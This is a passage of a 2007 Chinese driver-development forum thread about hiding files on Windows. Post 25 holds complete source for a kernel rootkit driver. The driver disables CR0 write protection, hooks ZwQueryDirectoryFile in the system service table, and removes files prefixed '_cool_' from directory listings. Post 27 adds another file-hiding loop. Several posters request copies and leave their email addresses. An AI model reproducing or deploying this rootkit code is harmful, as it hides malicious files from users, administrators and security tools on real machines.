fancylf
驱动牛犊
驱动牛犊
  • 注册日期2007-07-29
  • 最后登录2016-06-21
  • 粉丝1
  • 关注0
  • 积分61分
  • 威望501点
  • 贡献值0点
  • 好评度23点
  • 原创分0分
  • 专家分0分
  • 社区居民
20楼#
发布于:2007-08-29 22:04
以前页做过这种功能的程序,但是用的是hook函数的方法,不知楼主研究过没有?
SaunterCloud
驱动牛犊
驱动牛犊
  • 注册日期2002-12-16
  • 最后登录2014-10-15
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望50点
  • 贡献值0点
  • 好评度8点
  • 原创分0分
  • 专家分0分
21楼#
发布于:2007-08-29 22:54
以前用HOOK 的方法做了一个文件隐藏的,但是当要隐藏的文件是第一个的时候,会把目录下所有的文件隐藏,不知道 lz || ls 遇到这个这个问题没。

比如目录下有三个文件:1.txt 2.txt 3.txt
当隐藏1.txt的时候,2.txt和3.txt也看不到了。

看MSDN,发现,windows应该是分两次查询目录的,第一次只查询一个文件,第二次查询剩下的。
boywhp
驱动中牛
驱动中牛
  • 注册日期2007-08-09
  • 最后登录2015-04-24
  • 粉丝2
  • 关注0
  • 积分1105分
  • 威望515点
  • 贡献值0点
  • 好评度254点
  • 原创分1分
  • 专家分0分
22楼#
发布于:2007-08-30 08:25
HOOK没有做过啊,我现在测试基本正常隐藏。
但是现在打算用CreateFile打开CDO时候总是蓝屏啊,郁闷ing,也没有哪位兄弟告知我一下啊
fancylf
驱动牛犊
驱动牛犊
  • 注册日期2007-07-29
  • 最后登录2016-06-21
  • 粉丝1
  • 关注0
  • 积分61分
  • 威望501点
  • 贡献值0点
  • 好评度23点
  • 原创分0分
  • 专家分0分
  • 社区居民
23楼#
发布于:2007-08-30 09:57
引用第21楼SaunterCloud于2007-08-29 22:54发表的  :
以前用HOOK 的方法做了一个文件隐藏的,但是当要隐藏的文件是第一个的时候,会把目录下所有的文件隐藏,不知道 lz || ls 遇到这个这个问题没。

比如目录下有三个文件:1.txt 2.txt 3.txt
当隐藏1.txt的时候,2.txt和3.txt也看不到了。

.......


 你说的这个,我怎么没遇到那,做出来的程序,跟隐藏文件所在的目录下顺序无关,不存在隐藏第一个的时候去隐藏该目录下的其他文件的情况,只有在隐藏该目录文件的时候,目录下的所以文件都会被隐藏!
wisent
驱动牛犊
驱动牛犊
  • 注册日期2005-06-28
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分62分
  • 威望20点
  • 贡献值0点
  • 好评度6点
  • 原创分0分
  • 专家分0分
24楼#
发布于:2007-08-30 15:36
请楼主给我发一份吧,多谢了,wisent@126.com
SaunterCloud
驱动牛犊
驱动牛犊
  • 注册日期2002-12-16
  • 最后登录2014-10-15
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望50点
  • 贡献值0点
  • 好评度8点
  • 原创分0分
  • 专家分0分
25楼#
发布于:2007-08-30 16:11
引用第23楼fancylf于2007-08-30 09:57发表的  :


 你说的这个,我怎么没遇到那,做出来的程序,跟隐藏文件所在的目录下顺序无关,不存在隐藏第一个的时候去隐藏该目录下的其他文件的情况,只有在隐藏该目录文件的时候,目录下的所以文件都会被隐藏!


下面是从网上copy的一段代码,有问题的是红色字体的地方:

#include "ntddk.h"

#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
 unsigned int *ServiceTableBase;
 unsigned int *ServiceCounterTableBase; //Used only in checked build
 unsigned int NumberOfServices;
 unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

// Length of process name (rounded up to next DWORD)
#define PROCNAMELEN     20
// Maximum length of NT process name
#define NT_PROCNAMELEN  16

ULONG gProcessNameOffset;

// --added
#define FileIdFullDirectoryInformation 38
#define FileIdBothDirectoryInformation 37


typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;

typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDirectoryFile(
        IN HANDLE hFile,
        IN HANDLE hEvent OPTIONAL,
        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
        IN PVOID IoApcContext OPTIONAL,
        OUT PIO_STATUS_BLOCK pIoStatusBlock,
        OUT PVOID FileInformationBuffer,
        IN ULONG FileInformationBufferLength,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN BOOLEAN bReturnOnlyOneEntry,
        IN PUNICODE_STRING PathMask OPTIONAL,
        IN BOOLEAN bRestartQuery
);

typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
        HANDLE hFile,
        HANDLE hEvent,
        PIO_APC_ROUTINE IoApcRoutine,
        PVOID IoApcContext,
        PIO_STATUS_BLOCK pIoStatusBlock,
        PVOID FileInformationBuffer,
        ULONG FileInformationBufferLength,
        FILE_INFORMATION_CLASS FileInfoClass,
        BOOLEAN bReturnOnlyOneEntry,
        PUNICODE_STRING PathMask,
        BOOLEAN bRestartQuery
);

ZWQUERYDIRECTORYFILE        OldZwQueryDirectoryFile;

/* Find the offset of the process name within the executive process
   block.  We do this by searching for the first occurance of "System"
   in the current process when the device driver is loaded. */

void GetProcessNameOffset()
{
  PEPROCESS curproc = PsGetCurrentProcess();
  int i;
  for( i = 0; i < 3*PAGE_SIZE; i++ )
  {
      if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
 {
   gProcessNameOffset = i;
 }
  }
}

/* Given a directory entry, return the next
   directory entry in the linked list. */

DWORD getDirEntryLenToNext(IN PVOID FileInformationBuffer,
         IN FILE_INFORMATION_CLASS FileInfoClass)
{
        DWORD result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileFullDirectoryInformation:
                        result = ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileIdFullDirectoryInformation:
                        result = ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileBothDirectoryInformation:
                        result = ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileIdBothDirectoryInformation:
                        result = ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileNamesInformation:
                        result = ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
        }
        return result;
}

/* Given two directory entries, link them together in a list. */

void setDirEntryLenToNext(IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN DWORD value)
{
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileFullDirectoryInformation:
                        ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileIdFullDirectoryInformation:
                        ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileBothDirectoryInformation:
                        ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileIdBothDirectoryInformation:
                        ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileNamesInformation:
                        ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
        }
}
        
/* Return the filename of the specified directory entry. */

PVOID getDirEntryFileName(IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass)
{
        PVOID result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileFullDirectoryInformation:
                        result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileIdFullDirectoryInformation:
                        result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileBothDirectoryInformation:
                        result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileIdBothDirectoryInformation:
                        result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileNamesInformation:
                        result =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
        }
        return result;
}

/* Return the length of the filename of the specified directory
   entry. */

ULONG getDirEntryFileLength(IN PVOID FileInformationBuffer,
       IN FILE_INFORMATION_CLASS FileInfoClass)
{
        ULONG result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = (ULONG)((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileFullDirectoryInformation:
                        result =(ULONG)((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileIdFullDirectoryInformation:
                        result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileBothDirectoryInformation:
                        result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileIdBothDirectoryInformation:
                        result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileNamesInformation:
                        result =(ULONG)((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
        }
        return result;
}

/* Copy the process name into the specified buffer.  */

ULONG GetProcessName( PCHAR theName )
{
  PEPROCESS       curproc;
  char            *nameptr;
  ULONG           i;
  KIRQL           oldirql;

  if( gProcessNameOffset )
    {
      curproc = PsGetCurrentProcess();
      nameptr   = (PCHAR) curproc + gProcessNameOffset;
      strncpy( theName, nameptr, NT_PROCNAMELEN );
      theName[NT_PROCNAMELEN] = 0; /* NULL at end */
      return TRUE;
    }
  return FALSE;
}

/* NT's ZwQueryDirectoryFile() returns a a linked list of directory
   entries.  The function below imitates it, except it removes from
   the list any entry who's name begins with "_root_". */

NTSTATUS NewZwQueryDirectoryFile(
        IN HANDLE hFile,
        IN HANDLE hEvent OPTIONAL,
        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
        IN PVOID IoApcContext OPTIONAL,
        OUT PIO_STATUS_BLOCK pIoStatusBlock,
        OUT PVOID FileInformationBuffer,
        IN ULONG FileInformationBufferLength,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN BOOLEAN bReturnOnlyOneEntry,
        IN PUNICODE_STRING PathMask OPTIONAL,
        IN BOOLEAN bRestartQuery
)
{
        NTSTATUS rc;
        CHAR aProcessName[PROCNAMELEN];
                
        GetProcessName( aProcessName );
        DbgPrint("Rootkit: NewZwQueryDirectoryFile() from %s\n", aProcessName);

        rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (
                        hFile,        
                        hEvent,
                        IoApcRoutine,
                        IoApcContext,
                        pIoStatusBlock,
                        FileInformationBuffer,
                        FileInformationBufferLength,
                        FileInfoClass,
                        bReturnOnlyOneEntry,
                        PathMask,
                        bRestartQuery);

        if( NT_SUCCESS( rc ) &&
                (FileInfoClass == FileDirectoryInformation ||
                 FileInfoClass == FileFullDirectoryInformation ||
                 FileInfoClass == FileIdFullDirectoryInformation ||
                 FileInfoClass == FileBothDirectoryInformation ||
                 FileInfoClass == FileIdBothDirectoryInformation ||
                 FileInfoClass == FileNamesInformation )
                )
        {
                if(0 == memcmp(aProcessName, "_cool_", 6))
                {
                        DbgPrint("Rootkit: detected file/directory query from _root_ process\n");
                }
                else
                {
                        PVOID p = FileInformationBuffer;
                        PVOID pLast = NULL;
                        BOOL bLastOne;
                        do
                        {
                                bLastOne = !getDirEntryLenToNext(p,FileInfoClass);
                                
                                // compare directory-name prefix with '_root_' to decide if to hide or not.

                                if (getDirEntryFileLength(p,FileInfoClass) >= 12) {
                                        if( RtlCompareMemory( getDirEntryFileName(p,FileInfoClass), L"_cool_", 12 ) == 12 )
                                        {
                                                if( bLastOne )
                                                {

 
//这里,第一次查询的时候,只返回一项,它的NextEntryOffset 为0,bLastOne就是true
//如果第一次查询就要隐藏,那么就返回STATUS_NO_MORE_FILES(0x80000006),那么该目录下的文件就都被隐藏了
//你是怎么处理的?

                                                        if( p == FileInformationBuffer ) rc = 0x80000006;
                                                        else setDirEntryLenToNext(pLast,FileInfoClass, 0);
                                                        break;
                                                }
                                                else
                                                {
                                                        int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
                                                        int iLeft = (DWORD)FileInformationBufferLength - iPos - getDirEntryLenToNext(p,FileInfoClass);
                                                        RtlCopyMemory( p, (PVOID)( (char *)p + getDirEntryLenToNext(p,FileInfoClass) ), (DWORD)iLeft );
                                                        continue;
                                                }
                                        }
                                }
                                pLast = p;
                                p = ((char *)p + getDirEntryLenToNext(p,FileInfoClass) );
                        } while( !bLastOne );
                }
        }
        return(rc);
}


VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
 DbgPrint("Rootkit: OnUnload called\n");

 // UNProtect memory
 __asm
 {
  push eax
  mov  eax, CR0
  and  eax, 0FFFEFFFFh
  mov  CR0, eax
  pop  eax
 }

 // put back the old function pointer
 InterlockedExchange( (PLONG) &SYSTEMSERVICE(ZwQueryDirectoryFile),
       (LONG) OldZwQueryDirectoryFile);

 // REProtect memory
 __asm
 {
  push eax
  mov  eax, CR0
  or  eax, NOT 0FFFEFFFFh
  mov  CR0, eax
  pop  eax
 }
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
 DbgPrint("Rootkit: WE ARE ALIVE! Start hiding files.\n");

 GetProcessNameOffset();

 theDriverObject->DriverUnload  = OnUnload;

 // UNProtect memory
 __asm
 {
  push eax
  mov  eax, CR0
  and  eax, 0FFFEFFFFh
  mov  CR0, eax
  pop  eax
 }

 // place the hook using InterlockedExchange (no need to disable interrupts)
 // this uses the LOCK instruction to lock the memory bus during the next instruction
 // Example:
 // LOCK INC DWORD PTR [EDX+04]
 // This staves off collisions on multi-processor machines, while cli/sti only disable interrupts
 // on the current processor.
 //
 OldZwQueryDirectoryFile =
  (ZWQUERYDIRECTORYFILE) InterlockedExchange(  (PLONG) &SYSTEMSERVICE(ZwQueryDirectoryFile),
              (LONG) NewZwQueryDirectoryFile);
 
 // REProtect memory
 __asm
 {
  push eax
  mov  eax, CR0
  or  eax, NOT 0FFFEFFFFh
  mov  CR0, eax
  pop  eax
 }

 return STATUS_SUCCESS;
}
SaunterCloud
驱动牛犊
驱动牛犊
  • 注册日期2002-12-16
  • 最后登录2014-10-15
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望50点
  • 贡献值0点
  • 好评度8点
  • 原创分0分
  • 专家分0分
26楼#
发布于:2007-08-30 16:53
貌似根目录下面才有这个问题,其它目录暂时还没有发现这样的情况。
fancylf
驱动牛犊
驱动牛犊
  • 注册日期2007-07-29
  • 最后登录2016-06-21
  • 粉丝1
  • 关注0
  • 积分61分
  • 威望501点
  • 贡献值0点
  • 好评度23点
  • 原创分0分
  • 专家分0分
  • 社区居民
27楼#
发布于:2007-09-01 11:50
引用第21楼SaunterCloud于2007-08-29 22:54发表的  :
以前用HOOK 的方法做了一个文件隐藏的,但是当要隐藏的文件是第一个的时候,会把目录下所有的文件隐藏,不知道 lz || ls 遇到这个这个问题没。

比如目录下有三个文件:1.txt 2.txt 3.txt
当隐藏1.txt的时候,2.txt和3.txt也看不到了。

.......


这个是我从当初做过的一个隐藏多个指定文件的一段代码:
其中隐藏的部分是:你看看能不能解决你的问题呢


  //把执行结果赋给pFileInfo
  pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;
  pLastFileInfo = NULL;
  //循环检查
  do
  {
    
             bLastOne = !( pFileInfo->NextEntryOffset );
            uniFileName.Buffer=pFileInfo->FileName;
         uniFileName.Length=(USHORT)pFileInfo->FileNameLength;
         uniFileName.MaximumLength=(USHORT)pFileInfo->FileNameLength+2;

    RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
   // 开始进行比较,如果找到了就隐藏这个文件或者目录
   //这里是全路径比较,既比较了路径又比较了文件名
      if(IsInNameQueue(&ansiFileName,&FinalPath))
          {
            
         //        DbgPrint("这 个文件名和路径都相等相同,隐藏掉\n");
  
                     if(bLastOne)
                      {
                          if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer )
                          {

                        rc = 0x80000006; //隐藏文件或者目录?

                  }
                        else
                          {
                            pLastFileInfo->NextEntryOffset = 0;
                          }
                     break;
                }
         //指针往后移动
                     else
                 {
                  int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformationBuffer;
                  int iLeft = (int )FileInformationBufferLength - iPos - pFileInfo->NextEntryOffset;
                  RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (int)iLeft );
               continue;
                    }
             }

        RtlFreeAnsiString(&ansiFileName);

   pLastFileInfo = pFileInfo;
   pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);  
  }while(!bLastOne);
z.b.Azy
驱动牛犊
驱动牛犊
  • 注册日期2006-03-11
  • 最后登录2013-04-29
  • 粉丝0
  • 关注0
  • 积分263分
  • 威望95点
  • 贡献值0点
  • 好评度91点
  • 原创分2分
  • 专家分0分
28楼#
发布于:2007-09-01 13:59
wzh227
驱动牛犊
驱动牛犊
  • 注册日期2006-11-14
  • 最后登录2009-02-10
  • 粉丝0
  • 关注0
  • 积分180分
  • 威望20点
  • 贡献值0点
  • 好评度19点
  • 原创分0分
  • 专家分0分
29楼#
发布于:2007-09-05 12:42
刚开始学驱动,不太会,麻烦楼主也给我一份,谢谢wzh513@163.com
xtmzl
驱动牛犊
驱动牛犊
  • 注册日期2003-05-21
  • 最后登录2017-01-24
  • 粉丝0
  • 关注0
  • 积分18分
  • 威望141点
  • 贡献值0点
  • 好评度55点
  • 原创分0分
  • 专家分0分
  • 社区居民
30楼#
发布于:2007-09-05 15:39
其实驱动开发主要就是资料少,其它方面没有难度.
=======================================
我比较佩服你这句话.呵呵.
HOHO
boywhp
驱动中牛
驱动中牛
  • 注册日期2007-08-09
  • 最后登录2015-04-24
  • 粉丝2
  • 关注0
  • 积分1105分
  • 威望515点
  • 贡献值0点
  • 好评度254点
  • 原创分1分
  • 专家分0分
31楼#
发布于:2007-09-05 16:49
你开发过应用软件就知道开发驱动是多么没有意思的体力活了
不用考虑什么对象设计,不用考虑系统架构,一点技术含量都没有的体力活,要是E文好一点就好了,可以直接看老外的驱动资料
pipi0714
驱动牛犊
驱动牛犊
  • 注册日期2004-04-13
  • 最后登录2012-02-20
  • 粉丝0
  • 关注0
  • 积分10分
  • 威望158点
  • 贡献值0点
  • 好评度67点
  • 原创分0分
  • 专家分0分
32楼#
发布于:2007-09-05 16:59
老大:我也想研究
cch_plus@126.com
boywhp
驱动中牛
驱动中牛
  • 注册日期2007-08-09
  • 最后登录2015-04-24
  • 粉丝2
  • 关注0
  • 积分1105分
  • 威望515点
  • 贡献值0点
  • 好评度254点
  • 原创分1分
  • 专家分0分
33楼#
发布于:2007-09-05 20:53
自己去下吧,呵呵,我上传了
http://bbs.driverdevelop.com/htm_data/39/0709/105273.html
paddy525
驱动牛犊
驱动牛犊
  • 注册日期2007-05-29
  • 最后登录2009-05-10
  • 粉丝0
  • 关注0
  • 积分400分
  • 威望41点
  • 贡献值0点
  • 好评度40点
  • 原创分0分
  • 专家分0分
34楼#
发布于:2007-09-14 16:20
楼主也给我一份研究一下,谢谢!
paddy806@sina.com
bizhan123
驱动小牛
驱动小牛
  • 注册日期2006-12-26
  • 最后登录2012-03-19
  • 粉丝0
  • 关注0
  • 积分1002分
  • 威望166点
  • 贡献值0点
  • 好评度125点
  • 原创分0分
  • 专家分0分
35楼#
发布于:2007-09-15 22:05
楼主进步好快!一下子就成小牛牛了
实用信息:www.infozobo.com
ProPlayboy
驱动大牛
驱动大牛
  • 注册日期2005-07-07
  • 最后登录2022-02-15
  • 粉丝0
  • 关注0
  • 积分1016分
  • 威望811点
  • 贡献值0点
  • 好评度719点
  • 原创分0分
  • 专家分0分
  • 社区居民
36楼#
发布于:2007-09-16 14:39
引用第31楼boywhp于2007-09-05 16:49发表的  :
你开发过应用软件就知道开发驱动是多么没有意思的体力活了
不用考虑什么对象设计,不用考虑系统架构,一点技术含量都没有的体力活,要是E文好一点就好了,可以直接看老外的驱动资料

,这要看你写什么了。我倒是觉得ring3的应用软件好写多了,至少调试方便。驱动如果仅是改改例子,写些小功能,倒是蛮简单的。要做成产品级别的稳定版本SYS,需要花很多精力。写得出,未必意味着做得好。
人不靓仔心灵美,版头不正红花仔!
ProPlayboy
驱动大牛
驱动大牛
  • 注册日期2005-07-07
  • 最后登录2022-02-15
  • 粉丝0
  • 关注0
  • 积分1016分
  • 威望811点
  • 贡献值0点
  • 好评度719点
  • 原创分0分
  • 专家分0分
  • 社区居民
37楼#
发布于:2007-09-16 14:45
有些驱动,里面的逻辑和复杂度,变态到你难以想像。。。
人不靓仔心灵美,版头不正红花仔!
niklen
驱动牛犊
驱动牛犊
  • 注册日期2005-11-03
  • 最后登录2014-07-22
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望20点
  • 贡献值0点
  • 好评度19点
  • 原创分0分
  • 专家分0分
38楼#
发布于:2007-09-16 19:11
给一份研究下 谢谢
niklen@163.com
lkni
驱动牛犊
驱动牛犊
  • 注册日期2007-09-18
  • 最后登录2010-08-15
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望22点
  • 贡献值0点
  • 好评度21点
  • 原创分0分
  • 专家分0分
39楼#
发布于:2007-09-18 10:54
学习谢谢分享
驱网无线,快乐无限
游客

返回顶部